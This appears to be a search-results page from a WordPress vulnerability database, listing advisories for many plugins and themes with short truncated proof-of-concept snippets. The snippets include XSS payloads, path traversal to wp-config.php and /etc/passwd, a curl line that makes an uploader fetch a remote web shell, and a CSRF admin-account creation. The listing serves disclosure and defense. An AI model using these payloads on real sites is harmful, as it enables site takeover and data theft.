4361 matches found
404 to 301 <= 2.3.0 - Unauthenticated Stored Cross-Site Scripting (XSS)
Description There is a stored XSS in the 404-to-301 WP plugin alertdocument.cookie HTTP/1.1 Host: wordpress Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/51.0.2704.103 Safari/537.36 Accept:...
Infusionsoft Gravity Forms Add-on <= 1.5.11 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The Infusionsoft Gravity Forms Add-on WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability. http://www.example.com/wp-content/plugins/infusionsoft/Infusionsoft/examples/leadscoring.php?ContactId="alert1;"...
MW Font Changer <= 4.2.5 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The MW Font Changer WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability. http://www.example.com/wp-content/plugins/parsi-font/css.php?size="alert1;"...
MP3-jPlayer <= 2.4.2 - Full Path Disclosure
The download.php code allows arbitrary users to disclose path information on WordPress sites with this plugin installed. 120 $info = " 121 Get: " . $mp3 . " 122 Sent: " . $sent . " 123 File: " . $file . " 124 Open: " . $SERVER'DOCUMENTROOT' . $fp . " 125 Root: " . $rooturl . " 126 pID: "...
Syndication Links <= 1.0.2 - DOM Cross-Site Scripting (XSS)
The Syndication Links WordPress plugin was affected by a DOM Cross-Site Scripting XSS security vulnerability. http://www.example.com/wp-content/plugins/syndication-links/genericons/example.html...
Indieweb Post Kinds <= 1.3.1 - DOM Cross-Site Scripting (XSS)
The Post Kinds WordPress plugin was affected by a DOM Cross-Site Scripting XSS security vulnerability. http://www.example.com/wp-content/plugins/indieweb-post-kinds/genericons/example.html...
Mashshare <= 2.3.0 - Information Disclosure
The Mashshare plugin exposes a few AJAX commands via its own custom hook, which can be found in the file ‘includes/admin/admin-actions.php’, and the function ‘mashsbprocessactions’. This function is called upon the ‘admininit’ action being fired, which can be triggered by anyone when visiting the...
WP Planet <= 0.1 - Unauthenticated Reflected XSS
The last time it was checked the plugin was still affected and had been closed. https://www.example.com/wp-content/plugins/wp–planet/rss.class/scripts/magpiedebug.php?url=alert1...
Reality < 2.5.6 - Multiple Reflected Cross-Site Scripting (XSS)
An Unauthenticated & Authenticated Reflected XSS vulnerabilities was discovered in the Reality theme through 2.5.3 and 2.5.5 for WordPress. Unauthenticated Reflected XSS: http://reality.inwavethemes.com/properties/?status=&keyword=1%22--%3E&label=1%22--%3E%3Cimg%20src=x%20onerror=alertXSS%3E v...
Simple File List < 4.2.3 - Unauthenticated Arbitrary File Upload RCE
The Simple File List WordPress plugin was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution. The Python exploit first uploads a file containing PHP code but with a png image file extension. A second request is sent to move rename the png file to a...
Donorbox 7.1~7.1.1 - Stored Cross-Site Scripting via Shortcode
In Donorbox WordPress plugin, one can perform an XSS attack via the included shortcode by inserting arbitrary HTML attributes. This vulnerability was introduced in v7.1 and fixed in v7.1.2. donate url='/?" autofocus onfocus="alertwindow" abitraryAttributeToValidateShortcodeParsing="'...
All-in-One WP Migration <= 6.97 - Authenticated Cross-Site Scripting (XSS)
An attacker would already have to be able to either compromise the database or gain access to a user account with high enough privileges to view the backup history, so some damage has already been done, but such an attacker could then also insert some XSS in order to compromise other admin users...
Pinfinity Theme <= 1.9.2 - Reflected Cross-site Scripting (XSS)
The pinfinity WordPress theme was affected by a Reflected Cross-site Scripting XSS security vulnerability. https://website.com/wp/?s=alert1...
Embed Images in Comments <= 0.5 - Unauthenticated Stored XSS
Unescaped src and href attribute replacements allows breaking out of the generated replacement tags. A comment containing the following "image" http://codeseekah.com/1.jpg"onload="alert1".jpg will generate an alert box...
WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
You can login as anyone without knowing password because of incorrect usage of wpsetauthcookie. Username:...
FormCraft - Premium WordPress Form Builder <= v3.2.31 - Authenticated Stored XSS
WordPress FormCraft Premium WordPress Form Builder versions 3.2.31 and below suffer from a persistent Cross-Site Scripting XSS vulnerability. Authenticated Stored XSS: New Form Heading Heading Text input field is vulnerable. The payload will execute when the form is displayed...
Viral Optins - Arbitrary File Upload
Affected versions and whether the issue has been remediated is unclear as the vendor website does not exist anymore. Upload!...
Raygun4WP <= 1.8.0 - Unauthenticated Reflected XSS
The Raygun4WP WordPress plugin was affected by an Unauthenticated Reflected XSS security vulnerability. http://www.example.com/wp-content/plugins/raygun4wp/sendtesterror.php?backurl="...
Woo Email Control <= 1.01 - Reflected Cross-Site Scripting (XSS) & CSRF
Due to a lack of encoding and CSRF mitigation in the testemail function found on line 106 of classes/class-wooctrl.php, it is possible to automate a request to the AJAX handler for the wooctrlsendtestemail action which will reflect the specified script back to the end user...
WHIZZ <= 1.0.7 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The WHIZZ WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability. http://www.example.com/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin="alert1;"...
Easy Contact Form Builder <= 1.0 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The tidio-form WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability. http://www.example.com/wp-content/plugins/tidio-form/popup-insert-help.php?formId="alert1;"...
YAWPP <= 1.2.2 - Unauthenticated Stored Cross-Site Scripting (XSS)
The yawpp WordPress plugin was affected by an Unauthenticated Stored Cross-Site Scripting XSS security vulnerability. POST /wordpress-4.3/?p=4 HTTP/1.1 Host: wp.lab User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.10; rv:42.0 Gecko/20100101 Firefox/42.0 Accept:...
Hide My WP <= 4.53 - Stored-Cross Site Scripting (XSS)
An attacker can make a fake attack attempt which will be logged, and can inject JavaScript. curl --referer 'you are using bad filtering for input ript alert"XSS here" ript; :; ;' http://example.com...
Job Manager <= 0.7.22 - Unauthenticated Stored Cross-Site Scripting (XSS)
The Job Manager WordPress plugin was affected by an Unauthenticated Stored Cross-Site Scripting XSS security vulnerability. Go to the job listings page /index.php/jobs/apply/, then click on "send through your résumé", add the payload '" to the email field. The JavaScript will be executed on the...
Fast Image Adder <= 1.1 - Unauthenticated Remote File Upload
The fast-image-adder WordPress plugin was affected by an Unauthenticated Remote File Upload security vulnerability. $ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url&url=http://sitewithshellstodl/shell.php Shell location is reported back t...
Swim Team <= v1.44.10777 - Local File Inclusion
The code in ./wp-swimteam/include/user/download.php doesn't sanitize user input from downloading sensitive system files. $ curl...
Auberge Theme <= 1.4.4 - DOM Cross-Site Scripting (XSS)
The Auberge WordPress theme was affected by a DOM Cross-Site Scripting XSS security vulnerability. http://www.example.com/wp-content/themes/auberge/genericons/example.html...
WP Mobile Edition <= 2.2.7 - Remote File Disclosure
The plugin is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php' http://www.example.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php...
Ajax Search Pro <= 3.5 - Cross-Site Request Forgery (CSRF) Add User
The ajax-search-pro WordPress plugin was affected by a Cross-Site Request Forgery CSRF Add User security vulnerability. This will register an administrator with username "xADMIN" and password "xPASS": POST request to:...
Video Posts Webcam Recorder < 1.55.5 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The Video Posts Webcam Recorder WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability. https://example.com/wp-content/plugins/video-posts-webcam-recorder/posts/videowhisper/rlogout.php?message=message'//...
Ceceppa Multilingua <= 1.5.17 - Authenticated Reflected Cross-Site Scripting
The tab GET parameter in the plugin's settings is vulnerable to reflected XSS attacks. The PoC will be displayed once the issue has been remediated...
Easy Media Download < 1.1.5 - Authenticated Stored Cross-Site Scripting
The ‘Button Text’ field in used while posting a file download was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a users loads a page where the plugin shortcode is used. All WordPress websites using Easy...
Fancy Lightbox < 1.0.2 - Authenticated Stored Cross-Site Scripting
The ‘hyperlink’ field in used while linking a remote resource Image, Video or web page from a URL was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a users loads a page where the plugin shortcode is used...
Ultimate Appointment Booking & Scheduling < 1.1.10 - Authenticated Cross-Site Scripting (XSS)
The Ultimate Appointment Booking & Scheduling WordPress plugin, versions 1.1.9 and older, were vulnerable to Authenticated Cross-Site Scripting XSS within multiple parameters...
Email Subscribers & Newsletters < 4.5.1 - Cross-site Request Forgery in send_test_email()
An attacker could exploit this issue by convincing a user to click a specially crafted URL, which will send emails from the affected user’s WordPress email account. function run var targetUrl = "http://example.com/webpage"; var email = "[email protected]"; var subject = "PoC"; var content = "add...
Findus - Directory Listing < 1.1.15 - Authenticated Persistent XSS
Authenticated Persistent XSS vulnerability was discovered in the «Findus - Directory Listing WordPress Theme», tested version — v1.1.14. Injected payload will trigger in the admin dashboard, in the «My listings» page and on listing page itself. POST /submit-listing/ HTTP/1.1 Host: example.com...
Careerfy < 3.9.0 - Unauthenticated Reflected Cross-Site Scripting (XSS)
There is a XSS vulnerability in Careerfy. https://careerfy.net/demo/jobs-listing/?searchtitle=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&location=&locradius=50§orcat=...
CM Pop-Up banners < 1.4.11 - Authenticated Stored XSS
When saving a new campaign, a user with editpages capabilities can store scripts in the campaign’s pop-up content. The code can then be executed on every page on the website. A user with the editpages capability can store any script in the pop-up's content. The content is serialized and then save...
wpCentral < 1.5.1 - Improper Access Control to Privilege Escalation
The flaw allowed anybody to escalate their privileges to those of an administrator, as long as subscriber-level registration was enabled on a given WordPress site with the vulnerable plugin installed. 1. Log in as Subscriber. 2. Scrape the page /wp-admin/index.php for the connection key. i.e. vie...
Contextual Adminbar Color < 0.3 - Authenticated Stored Cross-Site Scripting Issue
The variable $message is not escaped : $message = sanitizetextfield $currentsettings'message' ; Then, it's printed in a value attribute : value="" Edit WPScanTeam: Put the payload below in the custom message field in the plugin's settings page Tools Adminbar Settings: " onfocus=alert2...
Resim Ara <= 3.0 - Unauthenticated Reflected XSS
The WordPress plugin team was notified on January 17th, 2020. Note: There were inconsistencies between the versions from the readme.txt 3.0, the plugin file 1.0 as well as tags 1.0 to 3.0...
Computer Repair Shop < 2.0 - Authenticated Stored XSS
Computer Repair Shop is vulnerable to stored XSS. When a user has admin capabilities, malicious code can be submitted through the plugin's options. Fixed in version 2.0. The plugin's options provided a basic HTML validation, which could be bypassed by copying + pasting malicious code into the...
Selio - Real Estate Directory <= 1.1 - SQL Injection & Persistent XSS
----- SQL Injection: ----- Vulnerable 'id' parameter is https://listing-themes.com/selio-wp/wp-admin/admin.php?page=ownlistingaddlisting=21 ----- Persistent XSS: ----- You need a new user account, then go to any property listing on the website and use 'ENQUIRY FORM' on the right sidebar. Or you...
Custom Simple RSS <= 2.0.6 - CSRF
CSRF issue in the Custom Simple Rss Plugin https://youtu.be/R0VrTpjaRg https://gofile.io/?c=jmVseA - CSRF html file...
Block WP Login <= 1.3.0 - CSRF and Unauthorised Settings Update
Lack of CSRF and authorisation checks in the bwplconfigureslug function registered as an admininit action could allow attacker via CSRF, or unauthenticated using the admin-ajax.php to change the plugin settings located at /wp-admin/options-permalink.php and disable the protection offered. v1.3.1...
MapSVG Lite <= 3.2.3 - Cross-Site Request Forgery (CSRF)
CSRF in the mapsvgsave AJAX method...
File Manager < 3.0 - Authenticated Reflected Cross-Site Scripting (XSS)
Lack of sanitisation in the lang parameter in the admin dashboard could allow attacker to perform reflected XSS attacks against logged in administrators https://example.com/wp-admin/admin.php?page=wpfilemanager&lang=zhCNalertXSS...
WP with Spritz 1.0 - Unauthenticated File Inclusion
The WP with Spritz WordPress plugin was affected by an Unauthenticated File Inclusion security vulnerability. http://www.example.com/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd...
Responsive Cookie Consent <= 1.7 - Authenticated Stored Cross-Site Scripting (XSS)
A persistent cross-site scripting vulnerability has been found in the web interface of the plugin that allows the execution of arbitrary HTML/script code to be executed in the victim's browser when they visit the web site. Tested on version 1.5, 1.6 and 1.7 older versions may also be affected 1...